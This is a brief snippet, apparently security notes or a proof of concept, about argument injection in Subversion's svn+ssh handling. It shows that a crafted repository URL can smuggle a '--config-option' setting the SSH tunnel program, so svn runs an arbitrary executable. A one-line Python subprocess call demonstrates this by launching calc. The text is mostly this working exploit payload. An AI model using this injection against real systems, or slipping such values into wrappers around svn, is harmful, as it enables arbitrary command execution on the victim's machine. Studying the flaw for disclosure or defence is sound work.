You are able to inject --config-option to specify the executable while connecting to the SSH server
--config-option
subprocess.run(['svn.exe', 'co', 'svn+ssh://whatever" "--config-option=config:tunnels:ssh=calc'])